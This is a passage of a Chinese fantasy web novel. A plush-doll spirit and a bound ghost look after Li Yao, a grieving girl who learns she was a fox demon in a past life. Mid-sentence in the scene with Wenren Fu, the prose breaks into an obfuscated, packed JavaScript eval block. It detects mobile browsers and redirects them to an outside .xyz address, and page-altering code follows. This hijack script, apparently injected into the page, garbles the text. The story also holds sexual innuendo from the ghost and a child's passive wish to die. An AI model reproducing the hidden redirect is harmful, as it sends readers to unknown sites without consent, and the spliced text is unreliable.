真哭了啊? 陶方奕的身体被水打湿。 李瑶满脸凝重地望着他:“真的可以直接搓吗?” “可以的,我质量很好。”陶方奕原本只准备让李瑶拿吹风机帮自己把身上沾的眼泪吹干,可李瑶注意到陶方奕身上其他地方被弄脏了,提议帮陶方奕清洁。 “你就手搓,然后直接拧干就好了,谢谢。”陶方奕安抚对方,“放心,我不会有痛感。” 李瑶看了眼身旁的无脸怪物。 怪物没有搭理她,不知为何,李瑶总觉得这个怪物在生气。 李瑶开始搓洗陶方奕的身体,陶方奕玩偶脸的初始表情就是元气的笑容。 李瑶眼看着对方的笑脸在自己手中被揉搓,挤压,变形,真的不会痛吗? 陶方奕开始给李瑶解释自己的身份以及自己的任务。 李瑶的注意力渐渐被吸引。 “所以欣馨上辈子是个水牛妖?”李瑶很震惊,“她上辈子保护的小女孩是她的……” “是她的爷爷。”陶方奕接茬。 眼看着李瑶沉默,她不停地揉搓陶方奕的圆手,陶方奕又开口:“你是不是想问你是什么?” 李瑶默不作声地点点头。 “你是一只七尾狐妖。”陶方奕说完之后李瑶终于不再反复揉搓他的圆手了。 “狐妖?!”李瑶很震惊,这种震惊里还夹杂着一丝隐秘的兴奋。 有关于狐妖的传说太多了,好的坏的都有,在那些故事里,狐狸总是自带一种诡谲妖异的独特美感。 “可是我一点都不像狐妖啊。”李瑶小声嘟囔,但她语气里的兴奋已经快藏不住了。 一旁的亡已经快把嘴角撇出下巴了,他嘴里的尖牙发出咔啦咔啦的声音。 “因为你现在是个人类。”陶方奕也知道李瑶在高兴。 现在的李瑶也需要这种兴奋的情绪去分散她的注意力,尽管那一切都是上辈子的事,但这个前世的身份能帮助她逃避如今的困境,提供了一个跳出当今身份的新视角。 “你上辈子入世之后喜欢上了一个人类女子。”陶方奕给李瑶介绍她的前世,“后来你努力读书,参与科举。” “等等。”李瑶忽然意识到哪里不太对,“我是同性恋吗?” “哦,不是,你上辈子是个公狐狸。” “你呢,大多数时候是在山里修行的,也没有人类朋友。后来东窜西窜,窜到别人家院子里了,在人家小姐家里住了几天,喜欢上了,然后硬要考状元娶人家。” 亡有些不满意:“这个故事太俗套了,所以之后狐妖奋发图强,然后和那位人类小姐终成眷属,但是因为寿命的原因,小姐早早离世,狐妖就破防黑化了?” “哦,那倒不是。”陶方奕被李瑶抖了抖,他注意到李瑶想把他挂起来,又表示自己身体的棉絮里还有没冲干净的清洁剂,于是他又被放进盆里搓了,“狐妖没有人类朋友嘛,所以他花了好长时间才解决户籍的问题。” “科举得查祖上三代的,他又找了自己的妖怪朋友做自己的亲戚,还折腾出了一点像模像样的履历出来,那个年代又没有公立学校,找个愿意教自己的老师也很麻烦。” “然后他一转头,发现自己‘祖上三代’折腾履历的时候,人家小姐已经儿孙满堂,寿数已尽,投胎去了。”陶方奕哈哈笑了两声,“正好当时有人搞舞弊,狐妖就破防黑化,拿那个人出气了。” 李瑶:…… 她看着陶方奕扭曲的微笑,虽然陶方奕语气很官方,但李瑶总觉得那个狐妖的狐生在陶方奕的描述中变得更荒唐了。 “所以那个狐妖喜欢的人压根就不认识狐妖,那个狐妖折腾了这么多年,什么都没考上,就破了大防开始杀人了?”亡实实在在地嗤笑出声了。 李瑶在搓娃娃,她看着娃娃的脸不断挤压变形,娃娃脸上的微笑也不断被覆盖又重新冒出。 陶方奕沉默了好一会儿,终于开口:“狐妖真的读了很多书。” 亡:“所以?” “所以他花了一大笔钱,找老师,读书,学文章,最后被人占了名额,生气也是合理的。”陶方奕说。 “那个他喜欢的女人呢?”亡发现陶方奕替狐妖辩解的时候提都没提这个人。 “哦,这位从头到尾都跟狐妖没什么关系,她有自己的人生,他们是陌生人。”毕竟狐妖反应过来的时候对方玄孙都有了。 “哈!”亡又乐了,他觉得这个狐妖是个纯粹的缺心眼。 李瑶依然对自己的前世很好奇。 陶方奕的脑袋卡在衣架中间,李瑶又把衣架挂在了窗台上。 亡转着圈欣赏陶方奕,他虽然没有眼睛鼻子,但他的嘴还在,他笑得快把自己所有的尖牙都露出来了。 “你觉得我现在的样子像上吊,特别有意思对不对?”陶方奕问他。 亡一手撑着头,说一个字晃一下脑袋:“你~真~聪~明~” “你把这一切告诉我真的没关系吗?”李瑶问他,“会不会被惩罚啊?” “如果你是普通小孩的话,会。”不过惩罚也不会太严重,毕竟犯这种错误的新手很多。 李瑶眼睛睁大:“我现在不是普通小孩了吗?” “这要问你自己啊。”亡嘴角下撇,他的声音再次变得沙哑,“你到底对自己做了什么?你为什么能看到我?” 他的脸陡然逼近李瑶,差点将李瑶吓得摔倒在地。 “喂!别吓小孩!”挂在衣架上的陶方奕出声制止。 亡感觉自己脖颈上的狗链子又紧了些,他不满地磨了磨牙。 “我最讨厌你们这些屁都不懂的小崽子!”亡没有再靠近李瑶,但他也没有放弃输出,“什么都不知道!什么都敢碰。” “让我猜猜,亲人的死亡让你崩溃,你企图借助玄学的力量,再次看到死去的亲人,对吗?”牙齿互相研磨的声音更大了,这是亡嘴里其他几套牙的声音。 “你是不是觉得,只要看见了自己的亲人,就算自己被厉鬼吃了都无所谓?”亡继续问。 所以他讨厌小孩,这些小孩压根没有考虑过自己乱搞事会给当地负责特殊生物管理的工作人员带来多大的麻烦,尤其是她如果一个不小心,嘎嘣一下给自己玩死了,那得连累多少人? 李瑶没有回应,她被亡的忽然变脸给吓懵了。 “好啊!我满足你的愿望。”亡张开嘴,细长像蛇信一般的舌头伸了出来,“我把你的脑袋咬下来好不……” 咔! 红色的防咬嘴套忽然出现在亡的下半张脸上。 一根红色的圆柱形金属棍卡在了亡的上下齿之间,而在这个棍子之外,还有个金属和皮革制成的小罩子。 亡的脸上只有一张嘴,他没有鼻梁,而这个止咬器的鼻梁带压根没有鼻梁的结构,这条束带在亡的颞颌关节处有连接带扣,两条束带绕过他的耳朵,和颈带一起,在后脑枕部固定。 亡定在了原地,他似乎没反应过来到底发生了什么。 在原地站了将近一分钟后,他颤抖着伸手碰触自己脸上的篮式止咬器。 在碰到金属的瞬间,他感觉自己脑袋嗡嗡的。 “都说了不要恐吓小孩,小孩压根不知道具体情况。”陶方奕刚一说完,亡就爆发了。 亡周身的黑雾暴涨,随后又被重新束缚回他的身体。 可他没有停下,重复这一举动,试图冲破束缚。 亡的牙狠狠咬在金属的口枷上:“你真以为我是狗吗?!” 与此同时,正在帮刚出山的精怪办理户口的闻人傅稍微走了一下神。 “你对我有意见?”站在他旁边的男人眯起眼睛询问他。 闻人傅迅速回过神:“啊?您好,没有的。” “你别以为我看不出来,你当我这么多年是白修炼的吗?”男人上下打量闻人傅,“现在的小孩啊……啧。” “很抱歉让您产生了这样的感觉,我对您没有任何意见。”闻人傅始终面带微笑,不过他的眉头微微皱着,似乎有些困惑对方为什么会产生这样的误会。 “那你听到我刚才说的话了吗?”男人问他。 “听到了,您想在您的户口本上多加一位成员。”闻人傅点头。 “那你们加啊。”男人敲敲桌面。 “是这样的,您指的那位成员是两百多年前的一位人类,对吗?”闻人傅笑着询问。 “你这个人怎么总重复我说过的话?”男人觉得闻人傅真的很烦,他已经说过那是一位两百多年前的人类了。 “那位人类没有踏入修行路吗?”闻人傅轻声细语地问。 “如果他踏入修行路了,我就管他叫修士了,你明不明白?”男人试图跟闻人傅讲道理,“你多少岁了?你修行的时候有没有学过普通人和修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710435|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士的区别?” “跟你讲话怎么就这么费劲呢?” “是这样的先生,普通人是没法活两百多岁的,我们没法给一个已经转世的人落户。”闻人傅试图讲道理。 男人完全不听:“我难道还骗你们不成?!他真的存在过!就是我养大的!” 闻人傅:“您的心情我们理解……” “实在不行就把他的转世落到我的户口本上。”男人下了决定。 闻人傅:“啊?” 男人:“啊什么啊?你什么态度啊?你这个人说话真费劲,半天说不到点上,你工号多少?” 闻人傅:…… …… 他脑袋里有一根弦崩断了。 亡的力气越来越大,横在他嘴里的金属杆忽然升腾起红色的烟雾,随后整个止咬器化为红雾散去,亡也冲向了陶方奕。 陶方奕把自己的头从晾衣架里拔了出来,在他落地的瞬间,毛绒玩具的身体变干了。 陶方奕一边按压自己的身体,调整棉花,一边在围着房间奔跑。 亡一边追他一边尝试放出自己身上的鬼气:“我要宰了你!” 可是黑色的雾气还是一冒头就缩回去,亡努力了几次之后忽然意识到不对劲。 他跑的速度慢了下来,可跑在他前面的陶方奕根本没有趁机躲起来。 陶方奕和他的距离还维持在一个微妙的安全距离,而且随着亡的追赶,陶方奕似乎马上就要被他“追上”了。 大概是看亡的速度越来越慢,陶方奕回头看了一眼之后直接上演了一个左脚绊右脚,摔在了地上。 亡停下了。 陶方奕没有动。 亡也没有动。 亡的手按在自己脖颈的红圈上,静静望着陶方奕。 陶方奕等了一会儿,随后他艰难地撑起上半身,用一只手捂住自己的胸膛:“可恶,好强悍的力量。” 亡:“刚才那个止咬器是你自己收回去的吧?” “居然咬坏了我的本命法器,好痛。”陶方奕往前爬了两下,随后扑通摔倒在地。 “这时候需要特意给我解释一下那是你的本命法器吗?你就是故意收回去的吧。”亡一开始也以为是自己突破了限制,结果发现自己的力量依旧没法用。 “你在故意让我。”亡咬牙切齿,“我不需要这种怜悯。” 倒在地上的陶方奕没有动,他还在尽职尽责地装死。 “你再不爬起来我就把这房子给毁了。”亡静静地说。 地上死掉的娃娃马上爬了起来,娃娃抬起手:“我们都冷静一点。” 陶方奕爬起来之后才发现亡在微微颤抖。 “我把你气成这样了吗?”陶方奕确实第一时间收回了止咬器,毕竟亡当时的反应有点过激了。 他并不知道亡此时吃了个投诉,而亡刚想爆发,却发现自己的力量被限制了个彻彻底底。 此时亡的沉默是一种无声的疯狂。 “你可……”亡这次的声音没有太多多余的音效辅助,“真厉害啊。” 以往闻人傅的暴虐都可以通过亡去殴打其他邪恶怨灵发泄出来。 可现在亡什么都干不了。 吃了投诉被暂时换下来的闻人傅去了盥洗室,他面无表情地盯着镜子里的自己,拳头攥得死紧。 此时的他失去了那种伪装出来的温和,他的状态和亡一模一样。 被压制了。 一个看守者的预备役就能轻轻松松压制他,而他什么都做不了。 对方还让着自己。 并且故意装成被打败的样子。 闻人傅嘴唇颤抖,他试图调整自己的呼吸,可在两三次深呼吸之后,忽然有液体从他眼眶里滚了出来。 闻人傅:?! 另一边的亡忽然像受惊了似的大叫一声。 陶方奕再次倒地,片刻后他捂着自己胸口,撑起上半身:“好,好强的声波!你怎么会发现我的弱点?!” “你起来跟我堂堂正正打一架。”亡说。 陶方奕没有动。 亡继续:“要么你杀了我,要么我毁了你。” 陶方奕依旧不为所动。 “我要把你碾成玩偶酱料。” 陶方奕:“那我算甜口的还是咸口的?” “这是我那句话里最不重要的一部分!” 7. 展现你的真本事吧 亡自闭了,李瑶也没好到哪里去。 她意识到自己可能做了一件相当糟糕的事,又缩在椅子上重新变得沉默。 “你不用这么自责,这不是什么大事。”陶方奕走到冰箱那儿打开冰箱门看了一圈。 他打开自己的公文包,拿出一瓶指甲盖大小的汽水,随后他从厨房拿了个水杯。 伴随着哗啦啦的声音响起,那指甲盖大小的汽水瓶居然真的倒出了饮料,而且饮料还将水杯给灌满了。 “没有人可以不犯错误。”陶方奕把汽水拿到李瑶面前,“你不了解非人类群体的规则,你也不知道这一切是不能触碰的。” “不知者无罪,所以把自己整死了也无所谓?”亡忍不住接了一句。 陶方奕回头瞪了一眼亡,亡也冲他撇了一下嘴。 “当然不是无所谓,你得从中吸取教训。”陶方奕坐到了李瑶的对面,“有些错误会带来不可挽回的后果,但现在这个后果没有发生,你不必过度自责。” 陶方奕想了想,又补充:“事实上,就算发生了你也不用自责,因为死了也没有自责的机会了。” 李瑶的眼睛稍微睁大了一些。 亡歪了一下脑袋。 这个娃娃有意识到自己有时候说起话来很戳人心窝吗? 陶方奕把公文包放回自己身后:“你想要看见你的父亲对不对?” 李瑶没有回应。 “你的执念很深,他也许还没有转世。”陶方奕说,“但他大概率不会来见你。” “为什么?!”这次李瑶回答了,她眼中溢出了泪水。 “因为他如果来见你,很容易把你牵绊在过去,你们现在处在不同的世界。” “我无所谓!”李瑶哽咽道。 “可这种束缚是双向的,不只是你,他也无法往前。”亡再次开口,只是这次不是嘲讽,“你们俩绑定了,你有可能英年早逝,他有可能投不了胎。” 李瑶再次愣住。 亡嗤了一声:“你就不能脾气烂点?你能给我们添麻烦,为什么不能干脆冲其他大人发发火?” “你不正好是叛逆期的年纪吗?理解他们干嘛?干脆把这一切搅得天翻地覆呗。”亡摊手,“怪你妈,怪你妹,怪所有让你理解的人。” “可妈妈也很难过。”李瑶觉得亡说得不对。 “可是她不是早早走出来了吗?找了个新人替代你爸,生了个小孩替代你,然后她有家了,偏偏你什么都没有。”亡不认为李瑶这个小孩需要顾及一个成年人,“你什么都没有了,总不能连脾气都被没收。” “停停停!”陶方奕打断亡,他指着对方,“不准唯恐天下不乱。” 亡的脑袋歪了一下,这似乎是个翻白眼的动作,但他没有眼睛。 “没有人是能被替代的。”陶方奕连忙安抚李瑶。 亡:“噢,就连你的恐怖娃娃都是别人家的了。” “我不想重新给你戴止咬器!”陶方奕的语气严肃了起来。 亡在自己嘴上做了个拉拉链的动作,表示自己不再开口。 “你在我这儿更没有被替代,我还保存着你送给我的东西。”陶方奕重新掏出公文包,他把里头装的各种橡皮泥食物都拿了出来,“要尝尝看吗?这些都是小时候的你吃过的。” 李瑶看了一眼陶方奕的公文包:“你的包里能放很多东西吗?” “这是一个法器。”陶方奕点头。 “你平常把它收在哪里啊?” “收在属于我的空间里。”陶方奕回答。 李瑶开始品尝那些橡皮泥食物,像是过家家一样。 而那些食物总包裹着一段记忆,李瑶吃了两口就忍不住落下眼泪。 “听着,孩子。”陶方奕起身拉住了李瑶的手腕,“我不强迫你向前看,你可以不勇敢。但你不能接触那些你无法控制的力量。” “你和‘那个世界’的接触越深,你,包括你周围的人就都有可能受到‘那个世界’的干扰。”陶方奕严肃道,“你必须告诉我们,你做了什么才导致自己能看见鬼怪。” 李瑶愣了一下,随后她掏出自己脖颈上的一截红绳,红绳的正中间挂着一颗小木球:“这个,这个是我们那儿的一个奶奶送给我的。” 她把木球取了下来,递给陶方奕。 “不过我之前看不到。”李瑶没有隐瞒,她本来就是个不喜欢给人添麻烦的性格,“来到这儿我才看到的。” “之前看不到?不应该啊。”亡觉得很奇怪,这世上新生的鬼魂那么多,总不能一个都遇不到吧。 他默默凑过来,跟陶方奕一起看那个小木球:“难不成这东西有什么触发机制?” 陶方奕啊了一声:“这好像是我的眼睛。” “是眼睛又是法器吗……等等,你说什么?!”亡惊讶地大叫了一声。 “我的眼睛。”陶方奕举起那个小木球晃了晃,那个小木球跟弹珠差不多大,“以前它不止这么点,感觉好像有点缩了。” “对,不是有点,是缩了特别多。”陶方奕继续说。 “等,等等!!”亡一把捏住陶方奕的手臂,把陶方奕的手臂都捏瘪了,“你到底是什么身份?!” 陶方奕:“陶方奕啊。” “我是说你在进特管局之前是做什么的?!”亡就知道陶方奕的身份不简单。 听到这儿,陶方奕羞愧地低下了头:“算,算盲流吧,没有正经工作。” 亡:…… 这个娃娃总是抓不住重点的吗?他不知道他那一句“我的眼睛”的信息量有多大吗? 忽然,钥匙开门的声音响起,陶方奕惊恐地看向门口:“糟了!我忘了警惕了!” “完了完了!”陶方奕掏出公文包开始收拾橡皮泥捏出来的食物,他的速度不敢太快,因为那些干掉的橡皮泥很脆弱。 李瑶也帮忙收拾,眼看着门要打开了,李瑶连忙跑上前。 “妈妈!!”李瑶的声音很大,把刚进门的杨红玲吓了一跳。 “瑶瑶,怎么了?”杨红玲试图绕过李瑶,李瑶不知道陶方奕有没有藏好,她只能猛地搂住了杨红玲。 杨红玲有些诧异,毕竟李瑶的表现和刚才完全不同。 “我,我一个人待着很害怕。”李瑶疯狂眨巴眼。 她身后的陶方奕蹑手蹑脚地往房间跑。 “抱歉。”杨红玲皱起眉头,“我本来打算今天请一天假的,领班不同意。” “没关系,你回来了就好。”李瑶把自己的脑袋往杨红玲身上塞。 杨红玲被这突如其来的亲近弄得不知所措:“是发生什么事了吗?” “没有!”李瑶连连摇头,“妈妈,咱们出去买衣服吧!” “可是我没带包啊。”杨红玲总算笑了,她伸手摸了摸李瑶的头,“咱们吃完晚饭再去好不好?” “等任叔叔和妹妹回来了,我们一起去,好不好?”杨红玲轻声问她。 李瑶的笑容稍微收敛了一些,不过这一动作很短暂,随后她点头答应:“好!” “我说。”亡忽然凑到她身边,李瑶险些吓到尖叫出声,但是她控制住了。 亡当然是有意这么做的,而看到李瑶极力控制的样子,亡更不爽了:“你再这么体谅所有人,是会吃亏的哦。” “她想让你熟悉新的家庭,可你对那个莫名其妙的新叔叔和妹妹都没有兴趣吧?”亡轻声问她。 李瑶回答不了亡,她也不像陶方奕,没法用意念去沟通。 “你是不是在想‘妈妈也很难做,她只是想让自己快点合群而已’?”亡还在她耳畔念叨,“可你只想单独跟她待一段时间不是吗?哪怕你跟她没太多话聊。” 亡感觉自己脖颈上的拉扯感又来了,那个娃娃又在阻止他。 亡啧了一声,扭头去了儿童房,然后挨了一顿陶方奕的批评。 “你别总在那孩子耳朵旁边念叨来念叨去。”陶方奕叉着腰说,“她的现状无法被改变!不要一遍遍站在谴责的角度去否定那个小孩!” “她太逆来顺受了,你信不信,她的性格会害死她自己。这种乖乖仔最后总会憋出一个大毛病。”亡耸肩,“我只是想看她反抗起来。” “你只是想看混乱!你别总去否认她的行为,搞得好像怒其不争一样,你又不是她,你甚至不是她的朋友,你没有权利去深度干预!”陶方奕用手拍了一下桌面,“你给我学会沉默!” 亡没有回答。 陶方奕威胁:“不然我就给你把止咬器戴上!我知道你不喜欢那个,我不想那么做。” “你怎么总惦记着给我戴止咬器?你这人脑子里的想法也太不正经了。”亡随口抱怨。 陶方奕愣了一下,他不明白这怎么就不正经了,这只是一种限制行动的手段而已。 “你的喜好是看不到脸的厉鬼吗?”亡双手环胸,俯身询问陶方奕,“你真重口,不过我身材这么好,你对我有欲望也是正常的。” 他说这些垃圾话只是想膈应陶方奕,但陶方奕迟迟没有反驳,这个玩偶看起来有点呆滞。 “你知道我在说什么吗?”亡问他。 陶方奕点点头,随后又摇头:“字都听明白了,但是逻辑还没捋顺。” “为什么戴止咬器就是不正经?止咬器有什么特殊的吗?”陶方奕诚恳讨教。 亡:…… 他停顿了一会儿,随后唇角猛地向上,三角牙都露了出来:“你不懂啊~” 陶方奕摇头。 “那你过来。”亡冲他勾了勾手。 陶方奕往亡的方向走了两步,认真仰起头。 亡凑近陶方奕的耳畔,用一只手挡着,小声解释了为什么止咬器能和不正经扯上关系。 在看到陶方奕脸色变了之后,亡轻轻笑了两声:“看来是我误会你了。” “误,误会什么?!”陶方奕很惊恐,他没想到自己不经意间做出了这么冒犯的行为。 “我还以为~你想把我变成你的私~人~财~产~”亡上半身趴在了桌上,但他腿站的还挺直的,大概是他的动作实在太舒展了,让他看起来像是在下腰,“我对我的身材还是蛮有自信的。” 陶方奕吓到浑身颤抖:“不,不不,抱歉,啊,我……” “所以我有点担心。”亡往陶方奕的方向蹭,陶方奕连忙后退。 “担心什么?”陶方奕抖得更厉害了。 亡歪了一下脑袋:“毕竟我没有经验,你要硬来的话,我会很慌诶。” 陶方奕:“噢!所以你不是因为这种原因死掉的!”他稍微欣慰了一下。 亡:“……那你呢?你有经验吗?” “当然没有!”他只是个玩偶。 “那如果我能帮你获取经验,你能放我走吗?”一直在憋屈的亡总算抓到了这个混蛋娃娃的弱点,他要让这个玩偶也感受到不自在。 “就像这样。”亡用左手的拇指和食指围了个圈,随后他把这个圈抵在唇上,伸出信子一样的舌头在那个圈里舔了舔。 陶方奕没有反应。 亡继续:“我不止脸上有绷带噢,猜猜我哪里还绑了绷带?” 陶方奕安静了好一会儿,随后忽然反应过来了对方在做什么,他的脑袋瞬间空白:“不不不!” 片刻后,被红线捆成木乃伊的亡静静躺在地板上。 陶方奕在房间里走来走去,一边念叨着造孽,一边试图感化亡,让亡更积极向上一些。 “你在放置我吗?”亡笑着询问。 陶方奕没听明白,他掏出手机搜了下,随后差点把手机摔在地上:“不是!!我只是让你冷静一点!” “你崩溃的样子真可爱。”亡不为所动,“我感觉我兴奋起来了。” 陶方奕:“我的天呐……” 亡:“如果你不想被我折磨的话,你最好放了我。” 陶方奕:“不可能的。” 亡:“啧。”无所谓,反正他已经发现了这个娃娃的弱点。 就看谁先崩溃吧。 亡一直骚扰陶方奕,陶方奕试图用道理感化这个厉鬼。 他们互不相让,而更没有底线的亡逐渐开始占据上风。 这时候,一道贯彻云霄的开水壶尖叫忽然响起。 任务目标任欣馨回来了。 听到小孩叫声的亡瞬间就蔫了,而陶方奕总算能够松一口气。 亡还想再说点什么,可小孩喜悦的声音实在太过尖锐。 亡的这一轮攻势宣告失败。 失去力气的亡逃回了属于他的墙角,而陶方奕悄悄开了个门缝往外瞅。 任欣馨搂着李瑶转圈,随后她把自己的零食一股脑地塞进了李瑶的怀里。 李瑶也在笑,但她对这位同母异父的妹妹的友善更像是一种表演,一种为了合群而为之的表演。 陶方奕觉得李瑶甚至没把注意力放在这个闹腾的小孩身上。 任欣馨的幼儿园给她布置了家庭作业,他们这个年龄段的家庭作业多是些生活实践类的,比如她今天就需要帮助家长做一道菜。 任欣馨一边跟妈妈讲述自己幼儿园朋友们的矛盾,像个小大人似的分辨对错,一边在妈妈的帮助下开始一片一片地洗菜叶子。 她的注意力从李瑶身上转移了。 李瑶松了一口气,她重新找了个地方坐下。 可这口气没能松太久,听着厨房里两人的交流,李瑶把自己缩了缩。 她其实没多难过,只是有些不自在。 没过多久,家门又被打开了。 任欣馨的爸爸回来了。 对方进门之后第一时间看向了李瑶:“瑶瑶过来了啊?”语气声音,像是准备了很久却没发挥好的一次念稿。 李瑶抿唇笑着点头:“叔叔好。” “欢迎……”男人呃了半天,随后把手上的蛋糕放在了餐桌上,“这个是 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在这之前,他们大概在担心自己这个“插队”进来的人是个受过伤的刺头。 李瑶吃完蛋糕之后笑着说了一声谢谢。 至于蛋糕是什么味道,她其实没有尝出来。 去给她购置新衣服的路上,任欣馨带上了自己的新娃娃。 陶方奕趴在小孩的肩上,他偷偷地观察李瑶。 李瑶一直很局促,尤其在她意识到自己身旁一家三口的相处有多自然后,她看起来就更加谨慎了。 她的妈妈努力地想让她有归属感,而任叔叔也尽量配合。 “这个鞋好看,草绿色显得精神。”杨红玲半跪在地上想帮李瑶换鞋。 李瑶下意识地想要阻止,可手伸了一半又缩了回去。 杨红玲问身旁的男人:“这个颜色好看对不对?” 男人认真地点头:“确实好看,这个颜色鲜亮。” 杨红玲又问任欣馨:“欣馨,你看姐姐穿这个颜色漂不漂亮?” 任欣馨还处于兴奋状态,她笑眯眯地高举双手:“漂亮!”她兴奋起来的声音还是尖尖的。 随后任欣馨搂着娃娃开始在鞋店蹦跶来蹦跶去,嘴里用“漂亮”两字给自己的步伐打节拍,看起来像个快乐的复读玩具。 可这样的快乐并没能感染到李瑶,这一家人的亲近愈发让李瑶无法适从。 而她还是个小孩,她没法把情绪隐藏得太好。 杨红玲很快就察觉到了李瑶的拘谨。 气氛短暂地凝滞了片刻,杨红玲再次打起精神,让自己的语气更温柔一些。 李瑶却已经笑不出来了。 她好像又不小心扫了兴。 妈妈再次起身拽着她往前,李瑶有些提不起劲跟上去。 她能察觉出大家都很累,除了还没长大的任欣馨,大家都很累。 她的到来似乎弄得大家更累了。 她也累,好意压得她喘不过气。 恐慌,无助,不想迈步往前。 任欣馨笑着跑到了她的前头,李瑶看着任欣馨朝杨红玲伸出手。 李瑶松开了手,让那个更小,更稚嫩的手握上去。 她需要妈妈,李瑶想。 任欣馨抱着的那个娃娃似乎在望着自己。 “我没事哦。”李瑶做了个口型。 “瑶瑶?!”意识到李瑶松手的杨红玲猛地转过身。 “我在这边。”李瑶跑着去牵起杨红玲的另一只手。 任欣馨哈哈哈地笑,她以为这是姐姐的一场恶作剧。 李瑶也望着她的方向笑。 李瑶在想,这条路为什么会这么这么长,这种拘束好像永远都没有尽头似的。 而她无拘无束的那七年却那么短,一瞬间就过去了。 【两个不同的妖变成亲人的概率很小。】陶方奕的声音忽然在李瑶的耳畔响起。 【啊!!】李瑶被吓到了。 【别害怕,我在用意识和你对话。】陶方奕说,【我在想,我的眼睛明明被拿回来了,你为什么还能看见亡,可能是那个眼睛把你自身的天眼打开了。】他在尝试转移注意力。 【天眼?是在额头上吗?】李瑶伸手摸了摸自己的脑袋。 【差不多,大概在灵魂的额头上。】陶方奕解释,【这一切太巧合了。】 【……那个小球是你的眼睛,那你的身体呢?被人拿走了吗?】李瑶询问。 【你想不想听听我的故事?】陶方奕的故事很长,他有信心给小孩讲一路。 亡还不知道自己错过了挖掘真相的机会,他讨厌和大人小孩一起出去逛街,陶方奕为了迁就他,暂时把他给拴在房子里了。 亡枯燥地等了两个多小时。 他原以为那一家人回来的时候会很尴尬,结果出乎他意料的是,两个小孩回来的时候都很亢奋。 那头小牛自不必说,她一直都在亢奋状态。 那只小狐狸居然看起来也挺高兴。 “你做了什么?”亡跑到陶方奕身边,轻声询问。 【讲故事,讲了很多故事,包括她以前做狐狸的时候跟其他妖怪争山头的故事。】陶方奕转移了那个孩子的注意力。 “噢~好温柔啊~可惜治标不治本。”亡随口道。 【你的想法就不能积极一点吗?】陶方奕不认同亡的看法。 “你没跟十几岁的小孩沟通过吧。”亡双手环胸,“过段时间你就知道喽。” 这次亡说对了。 陶方奕主要的任务对象还是任欣馨,之后几天他开始测试任欣馨的恐惧接受度。 李瑶则去新的学校报到了。 一切似乎都在稳中向好,可这种稳定甚至没能维持一个星期。 某个星期五的晚上七点,李瑶还没回家。 她给杨红玲发了消息,表示自己和同学待在一起。 陶方奕起初没太在意,可亡的反应很大:“你觉得这孩子有没有可能压根没交到朋友,只是不太想回这个家?” “也有可能。”陶方奕觉得这时候他们应该给这个孩子一定的独处时间,让她慢慢消化。 “这附近的鬼气在沸腾哦。”亡提醒,“血腥味很重。” 陶方奕:“这附近有鬼气吗?” “……原来你没闻到吗?!不对啊!你是怎么一下子把我闻出来的?!”亡还以为陶方奕在装。 陶方奕的表情变得格外惊恐:“你不是在耍我吧?” “鬼气浓得都呛鼻了啊!我以为你有把握,一直在气定神闲呢!”亡一直以为陶方奕是什么不得了的大佬,他在等待陶方奕出手。 结果陶方奕完全傻了:“浓……浓了多久了?孩子不会出事吧?” 亡也懵,这里属于闻人傅的管辖区,出了人命是要遭大殃的。 “啊!!”陶方奕和亡同时叫出声。 8. 所以厉鬼叫什么 风很轻很轻,李瑶坐在街头绿地的椅子上静静地待着。 她不想回那个地方,那个所有人都很好,却因为她的出现而变得凝重的地方。 她注视着不远处的草地,看着草一次次被风压下,又抬起身体。 莫名地,她想起了那个厉鬼对她说的话。 那个厉鬼说她应该发泄,应该将负面情绪倾泻出去。 “我发泄过的哦。”李瑶小声说。 她有歇斯底里地发泄过,她也曾发疯一样地推开所有人。 去年奶奶身体状况不好,奶奶想让妈妈把她带走,然后奶奶自己去养老院。 那天李瑶发了疯似的骂了所有人,她跑出家门,她去爸爸的坟头待到半夜,最后被满脸泪水的妈妈找到了。 那天她也对妈妈说了很糟糕的话。 她几乎想要撕碎周边的一切。 可是没有用啊。 要离开的人还是离开了。 李瑶闭上眼,这时候的气温真的很舒服,不冷不热,有风,还有青草的味道。 老家的气温也很好吗? 偶尔她会想象,想象自己也躺在棺材里,和奶奶或者爸爸挤在一起。 腥甜的腐烂味,没有氧气的安全感。就那么死掉,烂在地里。 在地下躲过寒冬,然后在某个春天里,用她尸体养育的植物会爬出土壤,感受风的触碰。 她不羡慕谁,她只是在想,如果自己永远都走不出去,是否可以就此停在那一天。 她可以原地停下,祝福继续往前的人,随后就能抬起头,望着仿佛永远不会变的天空,直到时间停止流逝。 那时候她一定能爱这个世界上所有的人,因为她没有必要再挣扎向前了。 李瑶轻轻用鞋跟和鞋尖敲击地面,哒哒哒的声音仿佛某种轻快的乐曲。 【死很安静哦。】一道扭曲的声音在李瑶脑中响起。 本该警惕起来的李瑶却陷入了一种混沌的状态,她只是隐约觉得这男声很陌生。 她的本能告诉她这一切是危险的,可她如今的状态不好,在鬼气的影响下,“危险”和“死亡”这两个词对她来说有着无与伦比的吸引力。 就像疲惫的人找到了枕头,她几乎毫无抵抗地等待着死亡的降临。 她感觉自己躺在了一片温暖的光里,她被光华包裹着,有什么东西一寸寸剥离,而她的身体也开始一寸寸变冷。 就在李瑶即将闭上眼时,她耳畔忽然响起了一道钟声。 她的三魂七魄都被震醒了,耳鼓膜还一阵一阵地发疼。 李瑶睁大眼,此时的她终于意识到自己的处境不对,她看向自己身旁一手拿锣一手拿锤的陶方奕。 哦,真的有东西在她耳朵边敲啊。 “醒了吗?”陶方奕急切地询问,他看李瑶没有回应,又开始梆梆梆地敲锣。 李瑶:“啊!!醒了!我醒了!!!”她的耳朵快要听不见了。 “你怎么跑到这边来了?不怕被看见……”李瑶一抬头,发现周遭的景色全变成黑白的了,散步的行人也消失不见。 “这是结界。”坐在她另一边的亡解释。 李瑶压根没有回头看亡,她似乎都没反应过来亡在她身边。 亡啧了一声,他猛地伸手抓住李瑶的肩膀,李瑶吓得一激灵。 亡把李瑶扭过来,大声吼道:“这是结界!!!” 